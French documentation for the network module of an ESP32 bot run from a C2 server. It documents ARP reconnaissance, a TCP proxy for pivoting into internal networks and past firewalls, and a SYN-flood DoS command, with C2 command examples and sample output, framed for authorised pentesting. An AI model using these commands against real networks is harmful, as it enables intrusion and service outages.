Network Module¶
Le module Network fournit des outils de reconnaissance réseau et d'attaque, essentiels pour le pentest et l'exploration de réseaux.
Configuration
Activer dans menuconfig: Epsilon Bot Configuration → Modules → Network Commands
Vue d'Ensemble¶
┌────────────────────────────────────────────────────────────────┐
│ NETWORK MODULE │
├────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ RECONNAISSANCE │ │
│ │ ┌──────────┐ ┌──────────────┐ │ │
│ │ │ ping │ │ arp_scan │ │ │
│ │ │ │ │ │ │ │
│ │ │ ICMP │ │ Découverte │ │ │
│ │ │ Echo │ │ réseau local │ │ │
│ │ └──────────┘ └──────────────┘ │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ PIVOTING │ │
│ │ ┌──────────────────────────────────────────────────┐ │ │
│ │ │ TCP PROXY │ │ │
│ │ │ │ │ │
│ │ │ C2 ──► ESP32 (proxy_start) ──► Target interne │ │ │
│ │ │ │ │ │
│ │ └──────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ ATTAQUE │ │
│ │ ┌──────────────────────────────────────────────────┐ │ │
│ │ │ dos_tcp │ │ │
│ │ │ │ │ │
│ │ │ SYN Flood ──► Target:Port ──► Denial of Service│ │ │
│ │ │ │ │ │
│ │ └──────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────┘
Commandes¶
ping¶
Test de connectivité ICMP vers un hôte.
Syntaxe:
Paramètres:
| Paramètre | Type | Description |
|---|---|---|
ip |
string | Adresse IP cible |
Exemple:
c2:> send espilon-demo ping 192.168.1.1
[espilon-demo] INFO: ping 192.168.1.1 ok rtt=12ms
c2:> send espilon-demo ping 8.8.8.8
[espilon-demo] INFO: ping 8.8.8.8 ok rtt=45ms
Cas d'usage:
- Vérifier la connectivité réseau
- Tester l'accès à la gateway
- Mesurer la latence vers une cible
Gauche: Output ESP32 | Droite: Réponse dans C3PO
arp_scan¶
Découverte des hôtes actifs sur le réseau local via requêtes ARP.
Syntaxe:
Fonctionnement:
- Détecte automatiquement le sous-réseau local
- Envoie des requêtes ARP à toutes les adresses
- Collecte les réponses (MAC + IP)
- Retourne la liste des hôtes découverts
Exemple:
c2:> send espilon-demo arp_scan
[espilon-demo] INFO: ARP Scan starting on 192.168.1.0/24
[espilon-demo] INFO: 192.168.1.1 - aa:bb:cc:dd:ee:ff (Gateway)
[espilon-demo] INFO: 192.168.1.10 - 11:22:33:44:55:66
[espilon-demo] INFO: 192.168.1.15 - de:ad:be:ef:ca:fe
[espilon-demo] INFO: 192.168.1.50 - 00:11:22:33:44:55
[espilon-demo] INFO: ARP Scan complete - 4 hosts found
Spécifications:
| Métrique | Valeur |
|---|---|
| Durée scan /24 | ~5-10 secondes |
| Mémoire utilisée | ~2KB par hôte |
| Stack FreeRTOS | 6144 bytes |
Cas d'usage:
- Cartographie du réseau local
- Identification des devices
- Préparation d'attaques ciblées
Gauche: Output ESP32 | Droite: Réponse dans C3PO
proxy_start¶
Démarre un proxy TCP permettant de pivoter à travers l'ESP32 vers des cibles internes.
Syntaxe:
Paramètres:
| Paramètre | Type | Description |
|---|---|---|
target_ip |
string | IP de la cible interne |
target_port |
int | Port de la cible |
Architecture:
┌─────────┐ ┌──────────────┐ ┌────────────┐
│ C2 │ ──TCP──►│ ESP32 │ ──TCP──►│ Target │
│ Server │ │ (Proxy) │ │ interne │
│ │◄──TCP── │ │◄──TCP── │ │
└─────────┘ └──────────────┘ └────────────┘
:2626 192.168.1.x 10.0.0.50:80
Exemple:
c2:> send espilon-demo proxy_start 10.0.0.50 80
[espilon-demo] INFO: proxy started
# Le proxy écoute maintenant sur l'ESP32
# Les connexions entrantes sont redirigées vers 10.0.0.50:80
Cas d'usage:
- Accéder à des services internes non routables
- Pivoter vers des segments réseau isolés
- Contourner les règles de firewall
Gauche: Output ESP32 | Droite: Réponse dans C3PO
proxy_stop¶
Arrête le proxy TCP actif.
Syntaxe:
Exemple:
dos_tcp¶
Lance une attaque TCP SYN flood contre une cible.
Usage Légal Uniquement
Cette commande est destinée aux tests de charge et pentests autorisés. L'utilisation non autorisée est illégale.
Syntaxe:
Paramètres:
| Paramètre | Type | Description |
|---|---|---|
ip |
string | IP de la cible |
port |
int | Port cible |
count |
int | Nombre de paquets SYN à envoyer |
Fonctionnement:
- Crée une task FreeRTOS dédiée
- Envoie des paquets TCP SYN en rafale
- Épuise les ressources de la cible (table de connexions)
- S'arrête après
countpaquets
Exemple:
c2:> send espilon-demo dos_tcp 192.168.1.100 80 1000
[espilon-demo] INFO: DOS task started
# L'attaque envoie 1000 paquets SYN vers 192.168.1.100:80
Limitations ESP32:
| Métrique | Valeur |
|---|---|
| Paquets/seconde | ~500-1000 |
| Impact sur heap | ~5KB pendant l'attaque |
| Impact CPU | ~30% |
Gauche: Output ESP32 | Droite: Réponse dans C3PO
Implémentation¶
Fichiers Sources¶
| Fichier | Description |
|---|---|
cmd_network.c |
Handlers des commandes |
mod_ping.c |
Implémentation ICMP ping |
mod_arp.c |
Scanner ARP |
mod_proxy.c |
Proxy TCP |
mod_dos.c |
Attaque DoS |
Structure des Commandes¶
static const command_t network_cmds[] = {
{ "ping", 1, 8, cmd_ping, NULL, true }, // async
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true }, // async
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true }, // async
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true } // async
};
Commandes Asynchrones
Les commandes marquées async=true s'exécutent dans une task FreeRTOS séparée pour ne pas bloquer le traitement des autres commandes.
Scénarios d'Utilisation¶
Reconnaissance Réseau Complète¶
# 1. Vérifier la connectivité
c2:> send espilon-demo ping 192.168.1.1
# 2. Scanner le réseau local
c2:> send espilon-demo arp_scan
# 3. Identifier les services sur les hôtes découverts
# (via scan de ports externe ou proxy)
Pivot vers Réseau Interne¶
# L'ESP32 est sur le réseau 192.168.1.x
# La cible est sur le réseau interne 10.0.0.x
# 1. Configurer le proxy
c2:> send espilon-demo proxy_start 10.0.0.50 22
# 2. Se connecter via le proxy (depuis le C2)
# ssh -p <esp32_port> user@<esp32_ip>
# 3. Arrêter après utilisation
c2:> send espilon-demo proxy_stop
Test de Charge¶
# Tester la résilience d'un serveur web
c2:> send espilon-demo dos_tcp 192.168.1.100 80 5000
# Observer la réponse du serveur pendant l'attaque
c2:> send espilon-demo ping 192.168.1.100
Bonnes Pratiques¶
Sécurité¶
- Autorisation: Obtenez toujours une autorisation écrite avant tout pentest
- Scope: Limitez les tests au périmètre autorisé
- Logging: Documentez toutes les actions effectuées
Performance¶
- ARP Scan: Évitez de scanner trop fréquemment (charge réseau)
- Proxy: Un seul proxy actif à la fois par device
- DoS: Utilisez des counts raisonnables pour les tests
Stabilité¶
- Surveillez la mémoire avec
system_mempendant les opérations longues - Redémarrez le device si la heap descend sous 50KB
Précédent: System Module | Suivant: FakeAP Module